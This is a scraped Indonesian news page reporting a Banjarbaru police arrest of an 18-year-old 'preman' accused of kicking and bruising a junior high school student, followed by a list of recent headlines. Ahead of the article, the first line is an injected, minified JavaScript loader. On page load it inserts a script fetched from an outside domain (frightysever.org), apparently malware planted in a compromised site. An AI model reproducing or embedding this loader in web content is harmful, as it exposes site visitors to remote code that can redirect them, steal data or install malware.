(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polisi Ringkus Preman yang Ditakuti Anak Sekolah


BANJARBARU, Polsek Banjarbaru Kota melalui Unit Reskrim berhasil meringkus pelaku penganiyaan anak dibawah umur, pada hari Kamis (14/9) sekitar pukul 11.00 wita.

Pelaku yaitu Erlangga alias Angga (18) yang sehari-hari bekerja sebagai tukang parkir di kawasan kota Banjarbaru. Angga sendiri ditakuti banyak anak-anak sekolah karena dikenal ebagai “preman” dan cukup ditakuti oleh kalangan anak sekolah. Namun pria yang seluruh badannya di penuhi dengan tato tersebut tidak dapat berkutik saat dibekuk pihak kepolisian yang mendapatlan informasi dan keluhan dari masyrakat.

Penangkapan yang dipimpin oleh Kasubnit II Reskrim Polsek Banjarbaru Kota Aiptu Syarifudin ini berjalan tanpa perlawanan pelaku. Aiptu Syarifudin menuturkan bahwa sebelumnya angga ditangkap berdasarkan laporan orang tua salah satu siswa SMP di kota Banjarbaru bahwa anaknya yang masih duduk di bangku sekolah menengah pertama menjadi korban penganiayaan salah seorang “preman”.

“Memang awalany kami mendapatkan laporan dari orang tua siswa salah sayu SMP di wilayah kota Banjarbaru yang menjadi korban dari si pelaku ini,” ungkapnya.
Kronologi penganiyaan itu bermula saat salah seorang teman dari Angga yang juga duduk di sekolah menengah pertama bercerita bahwa memiliki masalah dengan korban. Namun pelaku Angga yang memang memiliki tempramen tinggi dan mengambil hati langsung mendatangi korban. Selanjutnya korban dianiaya pelaku dengan cara ditendang berkali-kali.

“Saat itu akibat aksi brutal pelaku, korban mengalami luka memar di wajah dan badan, orang tua korban tidak terima dan melaporkan kejadian ini ke polsek Banjarbaru kota.” lanjut Aiptu Syarifudin.
Kini aksi premanisme Angga sudah tidak lagi menkhawatirkan anak-anak sekolah. Kapolsek Banjarbaru Kota Kompol Purbo Rahardjo melalui Kanit Reskrim Polsek Banjarbaru Kota Iptu Yuli Tetro menuturkan pelaku akan kami kenakan perkara tindak pidana kekerasan terhadap anak di bawah umur pasal 80 ayat 1 UU No.35 Tahun 2014 tentang perlindungan anak.

“Kami juga menghimbau kepada masyarakat terutama kepada orang tua siswa agar selalu mengetahui pergaulan anak anda. segera peringati anak anda apabila bergaul dengan orang yang tidak dikenal yang dapat mempengaruhi kepribadian anak kita,” tuturnya. (Rico)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.